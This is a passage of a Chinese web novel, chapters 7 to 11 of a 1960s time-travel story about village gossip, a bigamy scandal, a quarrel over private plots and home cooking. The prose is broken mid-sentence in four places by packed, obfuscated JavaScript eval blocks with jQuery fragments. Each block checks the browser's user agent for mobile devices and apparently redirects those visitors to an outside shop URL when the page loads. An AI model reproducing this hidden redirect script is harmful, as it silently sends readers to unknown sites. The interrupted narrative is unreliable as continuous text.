《六十年代生存记录》 7. 第 7 章 中午下工回家,江余先淘米煮饭,煮饭的间隙,把放在桶里的五花肉拿出来切了,再拿半棵白菜洗干净切好备用,她打算用五花肉和白菜炒了吃,今天过节嘛,得吃顿好的。 过年的时候大队里会分猪肉,大部分的人家都不会吃完,而是做成腊肉放着,为的是在双抢和秋收的时候补充营养,平时舍不得吃,过节的时候大多数人会切几片腊肉下来炒了,算是过节了。 即使现在家家户户都吃不饱,大队里也有几家富裕的家里还有肉,比如江余的邻居何大娘家,虽然她整天喊着家里吃不起饭了,想方设法去占别人的便宜,但是她家的条件还是不错的。 何大娘生了五个女儿和两个儿子,她家的五个女儿都嫁出去了,也不知道她是怎么教的,她家的几个女儿一个比一个能补贴娘家,即使自己的日子过得苦哈哈的,有点好东西的也要送回娘家,宁可自己饿着,也不能让娘家的兄弟饿着。 今天中午何大娘家肯定会吃肉,有了何大娘家作掩护,江余可以放心炒五花肉了,即使味道传出去,别人也会以为味道是何大娘家传出来的。 家里只有一口锅,要炒菜就要先把锅里煮好的米饭给盛出来,江余把空出来的锅洗干净,往灶洞里塞了一把稻草,生火把锅烧热。 “嗞啦”一声,江余把五花肉倒入锅里开始翻炒,很快,油脂的香味就被激发出来了,整个厨房都弥漫着肉香味。 江余已经提前把厨房的门和窗户都关上了,门缝和窗户的缝隙也都用稻草给堵上了,这味道只能顺着头顶的烟囱出去,在空中散开,今天风挺大的,很容易就把气味吹散了,如果不是走到江余家门口,是不会发现味道是从江余家传出来的。 等五花肉被炒出焦黄色,江余把肉盛出来,这块五花肉肥肉多,瘦肉少,炒完之后锅里留下不少油,炒白菜用不了那么多油,江余又拿一个碗把锅里多余的油盛出来,留着下次炒菜用。 重新把火烧旺,倒入切好的白菜,炒到白菜断生就可以五花肉放进去一起炒了。江余只放了四分之一的肉,剩下的留着下次吃。 放盐调味后,江余先用筷子夹了一块肉试试味道,瘦肉的部分瘦而不柴,肥肉的部分肥而不腻,这五花肉真好吃!她以前怎么没发现自己的厨艺那么好,还是因为她太久没吃到肉了,给自己的厨艺加了滤镜? 盖上锅盖再焖煮一会儿,等白菜入味就可以出锅了。 一个人吃饭懒得把饭菜拿到大厅去吃了,江余直接坐在厨房的灶台前就开饭,一口肉一口大米饭,再来一筷子大白菜,白菜也炒的很入味,好吃!江余吃的十分满足,很快就把一碗米饭和所有的菜都吃完了。 她本来还想着吃一半,留一半到晚上吃的,谁知道太好吃了她没忍住给全吃完了,穿越半个月了,她第一次体验吃撑了的感觉。 今天中午做饭花了不少时间,等她吃完饭洗完碗之后,已经快到了上工的时间了,没有多余的时间用来午睡了,江余在家里走了几圈消消食,就该去上工了。 下午上工的时候,江余发现上午还心情很好的田婶子脸上已经没了笑意,干活的时候也是一副心不在焉的样子。 很快江余就知道了原因。 另一边的两位大娘用自认为很小声的声音在聊天,“你知道吗?中午的时候,梁水生抱了一个儿子回来!” 另一位大娘不相信,“田彩燕不就生了一个女儿吗?哪来的儿子?你看错了吧。” 见对方不信,那位大娘信誓旦旦,“我说的是真的,我还听见那个男孩叫梁水生爸爸呢,梁水生还满脸笑容地应了,就中午下工的时候,梁水生抱着那个男孩从村口回家,一路上很多人都看见了,不信你问问别人。” “钱大娘说的是真的,我也看见了。”另一位大娘也凑过来加入了八卦队伍,“你们说那孩子哪来的?田彩燕自从生了一个女儿后,这十年来就没再怀过,这孩子肯定不是田彩燕生的,这梁水生该不会是想要儿子想疯了,偷的别人家孩子吧?” “要是偷的,那孩子会叫梁水生爸爸吗?说不定是梁水生看田彩燕不能生了,找了别的女人生的!” 几位大娘都双眼发亮,这可是大八卦啊,她们正要继续往下聊,先提起话题的钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959501|136745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大娘就感觉后背发凉,她抬头一看,田彩燕正盯着她呢,说别人的闲话被正主抓到了,钱大娘很是心虚,像是被掐住了脖子一样,不说话了。 正等着听她继续说的其他两位大娘还问她怎么不继续说了,钱大娘咳嗽一声,示意她们看向田彩燕的方向,二人抬头一看,田彩燕黑着脸,那凉飕飕的视线从她们身上扫过,二人心虚,连忙低头干活。 过了一会儿,被黑脸的田彩燕震慑住的八卦三人组反应过来,她们干嘛要心虚啊?她们说的都是实话,又没胡说,干嘛要怕田彩燕? 要是让她们继续说,她们又有些不敢,谁不知道田彩燕是干活的一把好手,那力气大着呢,大队里的妇女没几个能打得过田彩燕的。现在田彩燕正是心情不好的时候,要是把她惹急了,她过来把她们几个揍一顿怎么办? 江余的记忆里田婶子夫妻一直很和睦的,即使十年来田婶子只生了一个女儿,梁水生也没有一句怨言,对田婶子也是一如既往的好,在这个几乎人人重男轻女的时代,是十分难得的。 然而,谁知道梁水生并不是不想要儿子,而是他在外面已经有了儿子了! 梁水生抱了一个儿子回来的事,经过一个下午的发酵,几乎整个大队的人都知道了,下工之后,很多人都不急着回家,而是想去梁家看看热闹,大家觉得田彩燕不是个能忍气吞声的人,她肯定要闹的。 田彩燕本来心情就不好,看到那么多人想去看她家的热闹,脸色就更黑了,对梁水生的怨恨也更重了。 这十年来,她辛辛苦苦地操持这个家,婆婆刁难,小姑子也看她不顺眼,小叔子天天偷懒不下地干活,大伯家的孩子总是欺负她女儿,这些她都忍了,因为梁水生对她好,她自己心中也有愧疚,因为她生女儿的时候坏了身子不能生了。 她以后都不能有儿子了,她爸妈担心女儿在婆家受委屈,就想办法托关系给梁水生弄到城里当工人,希望梁家能看在这个工人名额的份上,对女儿好一点。 结果让她没想到的是,梁水生靠着她娘家的关系在城里当了工人,居然在城里有了另一个家! 8. 第 8 章 乡下没有什么娱乐活动,谁家要是有点什么事能被大队里的人说好几天闲话,像梁水生背着媳妇在外面有了儿子的事,那可是大热闹,谁不想去看? 八卦之心人人都有,江余也不例外,反正下了工回家就是吃饭睡觉,也没有别的事要做,不如跟着大家一起去看热闹。 江余来到梁家门前的时候,大门口已经围了里三层外三层的吃瓜群众了,有的还踩着石头爬上两米多高的围墙,趴在墙上看。 梁家人知道家丑不可外扬,田彩燕刚进院门,她婆婆就要拉着她回房里,田彩燕不肯,一把扯开刘翠花的手,“有什么话就在这里说,别拉拉扯扯的。” 刘翠花诧异一向不敢违抗她的田彩燕,竟然在那么多人面前反驳她,刘翠花立即就想要发作,想到梁水生瞒着她的事,又把心里的怒气压住了,现在还是先把田彩燕安抚好再说,免得她闹起来不好看,等过后再收拾她,一个不下蛋的母鸡,还敢在婆婆面前摆架子! 刘翠花示意田彩燕看一眼大门口和围墙上的人,“外面人多,有些话不好说,还是回房里说吧。” “不就是梁水生背着我在外面找了别的女人生了个儿子吗!这个事现在整个大队的人都知道了,还有什么好遮掩的?” 刘翠花肯定是支持她儿子的,还觉得她儿子做的好,田彩燕不能生就找别人生,不至于让自己断了后,可这事到底不光彩,不好宣扬。听到田彩燕直接说出来,她急了,“这种事哪好这么直接说出来的,这不是让人看笑话吗?” “你们梁家能做出这样的事,还怕别人看笑话?要丢人也是梁水生丢人,是你们梁家丢人,我又没在外面乱搞,我有什么可丢人的!” 田彩燕本来不是什么好脾气的人,之前只是觉得自己理亏,忍着梁家人,现在梁水生做了对不起她的事,轮到梁水生理亏了,她就有底气了。 听到田彩燕闹起来了,一直躲在房里的梁水生终于坐不住了,他一脸为难地看着田彩燕,“彩燕,你别闹了,有什么话咱们好好说。” 田彩燕现在正在气头上,听了这话立即道:“你都娶了别的女人了,还有什么可说的!” 梁水生满眼柔情地看着田彩燕,“我娶她只是为了生儿子,我和你才是真正过日子,我都没带她回来,只带了儿子回来,在我心里你们谁更重要,你难道看不出来吗?” 田彩燕见到梁水生这个样子,心里也有了一些动摇,梁水生见田彩燕的脸色缓和了一些,便想说几句好话哄着田彩燕。 江余听了梁水生的话都震惊了,这不是妥妥的大渣男吗?梁水生在县城里当工人,一年到头都是待在城里的,也就逢年过节回乡下而已,他和田彩燕能待在一起几天啊,什么过日子?其实就是帮他伺候乡下的爸妈。 江余实在是看不下去了,她混在人群中,粗着嗓子喊了一句,“娶两个老婆可是犯了重婚罪的,这事要不要告公安啊?知情不报算不算包庇罪啊?” 大家听到梁水生在城里还娶了一个媳妇,只是羡慕嫉妒梁水生好命,根本不会想到重婚罪,听了江余话,大家虽然不清楚重婚罪是什么罪,但他们知道犯罪是要坐牢的,连忙道:“对啊,梁水生娶两个老婆可是犯法的,咱们可都是本分老实的庄稼人,不能让他连累了我们,这事得去报公安!” 梁水生慌了,也顾不上哄田彩燕了,连忙解释,“我和田彩燕没领结婚证,不算犯了重婚罪!” 江余又粗着嗓子喊了一句,“你的意思是田彩燕不算是你媳妇了?” 梁水生不承认自己犯了重婚罪,立即就想说不算,看到田彩燕正看着他,话到了嘴边又咽了下去。 乡下的人对于有没有结婚证并不看重,摆过喜酒就是结婚了,当初田彩燕和梁水生结婚的时候可是摆过喜酒的,请的人还不少,大家都认可田彩燕是梁水生的媳妇,就是公安来了,也是认可的。 就算梁水生和田彩燕没领结婚证,追究起来梁水生也是犯了重婚罪的。 这时候田彩燕的娘家人也来了,田彩燕的娘家是隔壁大队的,来得这么快估计是有人通风报信。 田家人一来就把田彩燕拉进房间里去,他们和梁家人一样,不想被人看笑话,见亲家带着田彩燕进了屋,梁家母子松了一口气也跟着进去,进去后还关上了门。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959502|136745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 外面的人什么都看不见了,说话的声音也听不见,眼见没热闹可看,大家也就散了,上了一下午工,都饿了,该回家吃饭了。 过了几天江余才知道这件事的后续,不知道两家人是怎么商量的,田彩燕和梁水生离婚了,田彩燕也没回娘家,而是带着她的女儿梁月华从梁家搬出来了,搬到了大队里一处没人住的废弃的房子里,就在江余家隔了十几米远处,两个房子之间没有别的人家,两家算是邻居了。 令大队里的人震惊的是,田彩燕还拿到了五百块钱,这五百块钱相当于是梁家买了梁水生的那个工作,大家才知道,原来梁水生的那个工作不是自己考上的,而是田家人找了关系弄进去的,田彩燕她爸是隔壁大队的大队长,在县城里是有点关系的。 梁家人原本不想给的,但是他们要是不给这五百块钱,田家人就能把梁水生的工作弄黄,他们不得不给。 江余听着旁边的大娘聊天,总觉得梁月华这个名字有点熟悉,想了半天,她终于想起来了,这不是她以前看过的一本小说里的女主吗?家住在江河大队,父亲叫做梁水生,在县城里当工人,母亲叫做田彩燕,还有一个同父异母的弟弟,都对上了。 原来她不只是穿越了,还是穿书了,小说里剧情开始是在几年后,原主早就没了,书里也没有提过江余这个人,所以她一开始并不知道自己是穿书了,直到听到梁月华这个名字,她才反应过来。 只是这个发展不太对啊,书里田彩燕和梁水生并没有离婚。自从家里多了一个弟弟,梁月华的苦日子就开始了,家里的活都是她干,要伺候弟弟,还被堂姐妹堂兄弟欺负,直到男主出现,将她从水深火热之中拯救出来。 现在田彩燕不仅和梁水生离婚了,还带着女儿搬出来了,剧情不对了,后面的剧情还怎么发展啊?男主还能和女主在一起吗? 江余想了想,原本没离婚的人为什么离婚了,该不会是因为她说出了梁水生犯了重婚罪吧?如果真是这样,那她还是很高兴她的一句话能让田彩燕母女脱离苦海的。 同时她又有些心虚,这些变化会不会影响到男女主之间的发展啊? 9. 第 9 章 天气越来越热了,中午和下午的太阳都特别晒,在太阳底下站一会儿就能把人的皮肤晒红,再晒久一点就晒伤了,皮肤被晒伤可不好受,火辣辣地疼,干活又要出汗,简直像是在伤口上撒了一把盐,那滋味可不好受。 为了防止被晒伤,即使白天很热,江余下地干活还是穿的长衣长裤,不止是江余,不少社员也都是这样的穿着,热是热了一些,总比晒伤好。 夏天顶着大太阳干活就是累,好不容易熬到了下工时间,大家都又累又热,话都不想说了,只想着赶紧回家休息。 男人们下工后还会脱了上衣跳到大队里的河里泡一泡,缓解一下暑热,妇女们没办法在大庭广众之下脱衣服下河,实在热了就回家打水冲个凉水澡,但是很多人回家还要干活的,洗了澡又出汗,不如先不洗。 听到下工的哨子吹响,社员们都停下了手中的活,准备去大队存放农具的仓库归还农具,还了农具就可以走了。 人还没走出地里,就看见大队长江正峰站到地头上喊道:“大家先别急着走,还了农具后都到晒谷场集合,等下开会!”怕有人离得远没听见,江正峰还一边走一边喊,重复了好几遍。 “上了一天工都要累死了,还要去开会,大队长就是事多!” “一家有个人去听就行了,我们家老头子肯定去的,我就不去了,我得回家做饭去了,得赶着天黑前吃饭,不然吃饭还得点煤油灯,浪费灯油。” “我家肯定也有人去了,我也不去了,家里还有一大堆的事等着要做呢。” 开会并不要求全部的人都去,但是一家至少要派一个代表去听,别人家里可以派个代表去,江余家就她一个人,她肯定是要去开会的。 估摸着人来齐了,江正峰站在几块木板搭建的台子上开始讲话,前面说了一箩筐无关紧要的话后,终于说到正事了。 “我今天去公社开会,上面有新的文件发下来,内容是要发还之前收回去的自留地。至于要怎么发还,公社开会的时候定了两个方法,一是按照原来的分配发还,二是重新给社员分配自留地。我看也没有什么需要变动的地方,就不用重新分配了,原来是哪一家的自留地,现在仍然还归他们家种就是了。大家要是没意见,就按我说的办。” 大家听到发还自留地都十分高兴,有自留地还能种点菜吃,可以少消耗一些粮食,能省下好些粮食呢,对于发还自留地这件事大家只有赞成的,哪会有什么意见。 江正峰见大家都没有提出意见,就继续说下去,他还没说几句话,就听到下面传来一道声音。 “大队长,我有意见!” 江正峰说话被打断了,有些不高兴,他顺着声音来源看过去,又是何大娘,江正峰有些头疼,“何大娘,你对发还自留地有什么意见?” 何大娘:“我对发还自留地没有意见,但是我对发还的自留地的大小有意见。我们家这几年还添了两个人口呢,这划给我们家的自留地是不是得多一些?那江余家就剩她一个人了,她家总不能还占那么多自留地吧,而且她还是一个丫头片子,她就不该有自留地!我看不如就把江余家的自留地划到我家好了,反正我们两家的自留地挨着,也方便。” 何大娘这话一出,在这几年家里添了人口的人家都有了想法,江正峰见底下的社员们都蠢蠢欲动,脸色沉了下来,这个何大娘就会给他找麻烦! 江余还在想着要在自己家的自留地上种些什么菜呢,还没到手的自留地就被人盯上了,这能忍? 江余心里不乐意了,这何大娘真当她是软柿子啊,就欺负她一个人。 “何大娘,现在都是新中国新社会了,你怎么还是封建地主阶级的做派?” 何大娘先是愣住,随后骂道:“江余你这死丫头,你说谁是封建地主呢,我家可是三代贫农,你可被胡说冤枉人!” 江余:“只有封建社会的地主才会想着霸占别人的田地,你想霸占我家的自留地,这不是封建地主的行为是什么?” 张秀英和吴桂花也来开会了,她们站在人群的后面和其他妇女聊天,正说着谁家留有什么菜种子,打算去换些菜种子来种呢,就听到何大娘的声音,听着还是在骂江余,二人担心何大娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959503|136745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又打江余家粮食的主意,连忙挤开人群上前去。 知道是何大娘打江余家自留地的主意,不是想要江余的粮食,二人就放心了,同时她们心中也有了一些想法,与其让何大娘占了江余家的自留地,还不如让她们家占呢,总归还是江家的,肥水不流外人田。 两个人心里都想要江余家的自留地,但是两个人都没开口。不知道江余的嘴皮子什么时候变得利索了,一开口就说何大娘是封建地主阶级做派,她们要是跳出来,万一江余也说她们是地主阶级怎么办?还是先等等再说。 何大娘的反应也很快,“谁说我是要霸占你家的自留地了?我只是觉得你一个人不应该占那么多自留地!每家的自留地都是按人头来的,你家就剩你一个人,你还占那么多自留地不符合规定。而且你的自留地多了,大队里其他人家的自留地就少了,大家说是不是这个道理?这不公平,我觉得大队长应该给我们重新分配自留地!” 江余回忆了一下自留地的分配规定,不说话了,就算重新按人头分配自留地,她分到的自留地种的菜也够她一个人吃了,她对此没有什么意见,就是其他人要有怨言了。 众人想不到那么多,现在只觉得何大娘说的有道理,江余家分到的自留地多了,他们分到的自留地就少了,他们不就吃亏了嘛!之前大家还觉得江正峰将原来属于他们家的自留地发还给他们做得对,现在一看,江正峰这是在帮着自己家的人占他们的便宜,说起来他还是江余的二叔公呢! 社员们纷纷嚷嚷着不公平,要重新分配自留地。 江正峰觉得十分无奈,他把各家的自留地发还给各家本来是为了社员们着想的,谁知道他们一个个都被何大娘鼓动,要求重新分配自留地。 江正峰又问了几遍,“重新分配自留地,你们分到的自留地可不一定有原来的多。你们可要仔细想好了,确定要重新分配自留地?” 不管江正峰问几遍,众人都要求重新分配自留地。社员们心想,他们家里都增添了人口,这自留地是按照人口分配的,他们分到的自留地只会变多,怎么会变少呢! 10. 第 10 章 “既然你们都要求要重新分配自留地,那我明天就去公社,让公社派人下来帮忙给社员们分配自留地,免得又有人说大队里的分配不公平!” 江正峰合上记录开会内容的本子,“今天的会议到此结束,你们都回去准备一下吧,等着明天公社的人下来核实每家每户的人数,看看这自留地该怎么分配。”说完他就背着手走了。 大队里的老支书跟上去,“老江,咱们大队真要重新分配自留地啊?” 江正峰:“这是社员们要求的,咱们要尊重社员们的意见,他们要求重新分配自留地难道我还能说不行?” “他们都以为人多了分到的自留地就多,不知道人口增多了,这人均土地数量就减少了,能分配的自留地也少了。你应该和社员们解释清楚才是啊。” 江正峰:“你看刚刚那个情况,社员们都以为我偏袒徇私,就算我说了他们也不一定信,说不定还觉得我那是骗他们的。” 他又何必多此一举呢,等到重新分配了自留地,这些社员们自然知道他是一心为他们好了,说不定这也是树立他的大队长威信的好机会。 一个何大娘就能鼓动社员们来反对他这个大队长,究竟是他是大队长还是何大娘是大队长?看来他这个大队长在社员们心中的威信不足啊。一个大队长不能被社员们完全信服,还怎么安排社员们完成上面交代下来的生产任务? 何大娘没能拿到江余家的自留地,觉得很心痛,那本该是属于她家的自留地啊!江余这个死丫头,平时看着懦弱胆小好欺负,谁知道兔子逼急了也会咬人。没占到便宜的何大娘狠狠地瞪了江余一眼。 这种带着强烈情绪的目光江余一下子就感觉到了,她看过去,挑了挑眉毛,对何大娘笑了一下,何大娘一下子就怒了,江余这个死丫头还敢嘲笑她! 何大娘怒气冲冲举起巴掌就朝着江余冲过来,江余站在原地没动,垂在身侧的手悄悄打出一颗石子,石子打中了何大娘的膝盖,何大娘“啪”地一下跪在江余面前摔了个狗吃屎。 江余连忙闪开,口中连忙道:“何大娘,你是长辈,我是晚辈,你对我行这么大的礼,我可担当不起,会折寿的。”说到这里,江余像是想到了什么,又道:“何大娘,你该不会是没能霸占我家的自留地,对我怀恨在心,想用这种方法来害我吧?” “啊呸!”何大娘吐出嘴里的泥土,指着江余恨声喊道:“是你!肯定是你这个死丫头害我摔倒了!” 何大娘的眼珠子转了一圈,忽然叫起来,“哎呦!我的腿!我的腿好痛!肯定是摔断了,这事没完,你得赔我一斤大米!”何大娘抱着自己的腿坐在地上不起来,要江余赔她大米,都过了那么久了,她还惦记着江余家的那一斤大米呢。 就在平地摔了一跤,顶多被地面擦伤,不至于摔断腿吧?看着何大娘抱着腿哀嚎,大家又不确定了。 江余心里无语,何大娘这是讹上她了,“何大娘,你可不要冤枉我,大家都看到了的,是你举着手朝我冲过来自己摔倒的,我可没碰到你。” 周围还没走的社员都看到了这一幕,何大娘是自己摔倒的,他们都知道何大娘是个什么样的人,对于何大娘的话是不信的,他们觉得何大娘是为了讹江余家的粮食才说是江余害她摔倒的,有的人甚至觉得何大娘是故意摔倒的,就为了讹江余家的粮食。 有人看不过眼,“何大娘,江余一个孤女已经够可怜的了,你就别欺负她了。” “对啊,你家又不是没饭吃了,干嘛总盯着江余家的粮食,她之前还饿晕过去了,家里能有多少粮食啊。” “什么叫做我欺负她!她害我摔倒了,就得赔我粮食,不然我就……不然我就报公安!” 何大娘本来想说让大队长替她作主的,想到大队长是江余的二叔公,肯定会护着江余,又想到之前去看梁家的热闹的时候有人说报公安,报公安可是很严重的事,她就不信江余不害怕,她还不得乖乖把粮食送过来。 大队里有什么事一般都是自己解决,自己解决不了就找大队长解决,实在是连大队长都解决不了的事才会想到要找公安。哪个大队要是有公安来了,那可是要影响大队的名声的。大家的想法是,你们大队要是没干坏事,那公安为什么要去你们大队? 听到何大娘说要报公安,有的人就不愿意了,生怕何大娘要把事情闹大,连忙去劝,还有人劝江余承认是她害何大娘摔倒的,让江余赔何大娘粮食,好让何大娘别把事情闹大。 江余当然不会给何大娘粮食,“我又没害她摔倒,凭什么要我赔给她粮食,不是要去报公安吗?现在就去,我又没做什么,可不怕公安来查!”江余上前拉着何大娘要往县城去。 大家看何大娘不好惹,就想让江余吃点亏把事情了结了,谁知道江余也不是个好拿捏的,众人也不知道该劝谁了。 何大娘嘴上说着要去报公安,真让她去,她到了公安局门口就能掉头就跑,她和现在的很多人一样,对公安是有畏惧的。 见江余真的要拉着她去公安局,何大娘死都不肯走。 江余道:“何大娘,你不是说要去报公安吗?现在怎么不走了?” “我开玩笑的,我还要回家做饭呢,哪有时间去报公安。” 江余拉着何大娘不松手,穿越后江余每天都能吃饱饭,这个身体的力气变大了一些,何大娘轻易没办法挣脱开。 “你说我害你摔倒了,要我赔你一斤大米,这件事还没解决呢,得去找公安同志调查一下,到底是我害你摔倒的,还是你自己摔倒的,总不能凭你一句话就冤枉我吧。” 何大娘不想去报公安,只能承认是自己摔倒的,“是我弄错了,不是你害我摔倒的,是我自己不小心摔倒的,行了吧?” 何大娘还是很识时务的,该认怂的时候就认怂,她做的事都挺招人恨的,却没人打她,也是因为她的识时务,知道谁能欺负,谁不好惹。 江余这才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959504|136745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放开何大娘,“大家都听到了,何大娘承认她是自己摔倒的,跟我可没有关系,过后何大娘要是想反悔,我是不认的。” 见江余和何大娘都不提要去报公安了,众人都松了一口气,纷纷表示自己听到了,会替江余作证何大娘是自己摔倒的。 何大娘也不敢再惦记什么大米了,腿脚利索地挤开人群往家走,一点儿也看不出摔断腿的样子。大家看何大娘的腿一点事儿都没有,更怀疑何大娘是故意摔倒的,是想讹江余家的粮食,心里对何大娘更加看不上了。 何大娘一边往家走,一边在心里嘀咕,这江余什么时候变得这么难缠了,胆子变大了,都敢拉着她去公安局了,她从前遇到事情可是能躲就躲,能让就让的,自从江家老两口死后,她从江余那里占了不少便宜,怎么这次就不行了呢? 同样觉得江余变了的还有张秀英和吴桂花,之前何大娘和江余起争执的时候她们两个都在旁边,本来何大娘要江余赔粮食的时候她们要站出去跟何大娘理论的,谁知道江余自己就把事情给解决了。 江余:“这不是大伯娘和三婶教我的吗?要厉害一点,不要被人欺负了还不敢反抗。我都已经是死过一次的人了,还有什么事是比死亡还要更可怕的?谁要是再敢欺负我,我肯定不会让对方好过,就是死我也要拉一个垫背的。” 这话不止是在跟张秀英和吴桂花解释她的性情变化的原因,还是在告诉周围的其他人,她已经不是从前那个好欺负的江余了,没事不要来招惹她,否则后果自负。 听到江余提起她差点饿死的事,张秀英和吴桂花两人都有点讪讪的,江余家断粮这件事她们是知道的,因为江余去他们家借过粮,当时她们都推说家里没粮食了没借,结果没过几天江余就饿晕了。 她们家里当然是有粮食的,这两家都是有存粮的,至少能让家里人每顿吃个七分饱,之前吴桂花说家里的孩子饿得半夜起来喝凉水充饥也不是真的,不过是担心江余又来借粮食罢了。 这几年全国范围内在闹旱灾,受灾地区主要是中部和北方地区,对南方的影响不是很大,江河大队的粮食产量没受到太大的影响。因为别的地方受灾,大队里交上去的粮食变多了,留给社员的粮食还是能让他们吃个半饱的,不至于饿死人。而且几乎家家户户都有存粮,更不会出现没饭吃的情况。 江余家是个例外,她家里是没有存粮的,她上工挣的工分也就勉强能养活自己,后来分给社员的粮食越来越少了,她家里就断粮了。 江河大队还没有出现社员饿晕过去的情况,之前江余饿晕过去的事在江河大队可是一件新鲜事。 吴桂花怕江余旧事重提,连忙道:“哎呀,小孩子说什么死不死的,不吉利!” “你自己能立起来,不被别人欺负,我和你三婶就放心了,大伯娘家里还有好多活要做呢,就先走了。”张秀英说完就急忙往家走,生怕江余再说点什么,吴桂花见状也借口家里有事连忙走了。 11. 第 11 章 端午节当天抽到过一次五花肉后,江余就没再抽到过肉了,抽到的物品大多是大米、玉米面,和一些萝卜土豆白菜,有一次还抽到了一袋两斤装的面粉,家里现在还有九斤大米,八斤玉米面,两斤面粉,一棵白菜,两个胡萝卜,两斤土豆。 山上挖的芋头和大伯娘送来的红薯已经吃完了,端午节的粽子也早就吃完了。 江余打开抽奖面板,上面又攒够一次抽奖次数了。江余点击抽奖按钮,希望能抽到肉,她都半个月没吃过肉了。 上次卖布拿到六块钱,去供销社买完东西后,还剩两块五毛钱,现在一斤肉七毛钱,她的钱能买三斤肉,可是她没有肉票,买不了肉。 “恭喜获得咸鱼两斤!” 江余眼前一亮,咸鱼也是肉啊,她终于又能吃上肉了,今晚就蒸咸鱼吃吧,咸鱼配米饭也很不错。 之前江余上山挖野菜,野菜没看到,但是发现了一棵野姜,她把整棵野姜连着泥土带回来,拿一个已经用不了的破木桶种上,打算以后做菜要用姜的时候就挖一块出来,现在正好能用得上。 江余挖开上面盖着的泥土,露出下面的姜,从边缘掰了一块,又把土填回去。 把姜切成丝,铺放在咸鱼上方,锅里已经装好淘洗好的大米和适量的水,在锅里横着放两根筷子,把装着咸鱼的碟子架在筷子上,盖上锅盖就可以开始烧火了。 饭上面蒸咸鱼,既方便又省柴火,煮好的米饭里还会有咸鱼的香味。 饭煮好后,整个屋子都是米饭和咸鱼的味道,江余还在咸鱼上面淋了一点花生油,那味道就更香了。 就着咸鱼,江余又干了满满一碗大米饭,吃完还打了一个饱嗝。 她觉得自己的饭量好像越来越大了,当然,她的力气也变大了,刚穿越的时候,她只能勉强拿四公分,现在她一天能拿五公分了,两天就能抽一次奖。 现在她的手臂和腿不像她刚穿越过来的时候那样瘦得可怕了,脸上也有了一点肉,家里没有镜子,她每天洗脸的时候,能在水里看到自己的脸,她就是太瘦了,脸上的五官长得还是不错的,和现代的她长得有五六分像,要是再长一点肉,那就更像了。 江余和原主除了性格不一样之外,不仅长得像,连一些小习惯都很像,这也是她穿越过来之后,没被人怀疑的原因。 江余有时候会想,会不会六十年代的江余是她的前世,所以她死后才会穿越到六十年代的江余身上,继续活下去。要是真是这样的话,那她的命不太好啊,两辈子都死得挺早的。 第二天上午,大家还在地里上工,就看见大队长江正峰带了个陌生面孔回来,他应该就是大队长从公社请回来给社员们分配自留地的同志。 这位同志骑着自行车来的,胸前的衬衫口袋上别着一支钢笔,社员们一看就知道这是公社来的干部同志。这能骑得上自行车的能是普通人吗?肯定是干部啊,他们大队的大队长家里都没有自行车呢。 大家对这位公社来的干部同志十分好奇,时不时看过去瞄几眼,手下的活都慢了几分。 大队长江正峰介绍道:“这位是公社来的赵亮赵同志,是来协助我们江河大队给社员分配自留地的。赵同志会逐个确认社员家里的人数,轮到你的时候照实回答就行了,没轮到的就好好干活。” 每个大队的人口都是有记录的,这关系到分粮的问题,每家有了新出生的孩子都要报到大队长那里,记录在册了才能分到粮食。 现在就是再确认一遍,保证记录在册的人数正确无误,例行公事而已。 江河大队只有六十多户人家,只需要跟户主确认人数就行了,一个上午就能问完,下午就可以按照人数分配自留地了。 中午的时候大队长就通知每家每户要出一个代表,下午去开会,会议的内容自然就是自留地的分配问题了。 江余估计这个会要开很久,面积是定了的,不能改,但是自留地的位置还是有的争的,比如,凭什么他家的自留地土质那么好,我家的自留地土质那么差,这不公平!又比如,分给我家的自留地怎么离得那么远,浇水都不方便,不行! 下午应该是不用上工了,就随便吃点吧。用玉米面和大米煮了玉米粥,放的玉米面多大米少,还撕了几片白菜叶子,炒了一个白菜。 吃完午饭还有时间,江余还睡了一个午觉,等大队长吹响哨子,到了上工的时间,江余才起来。 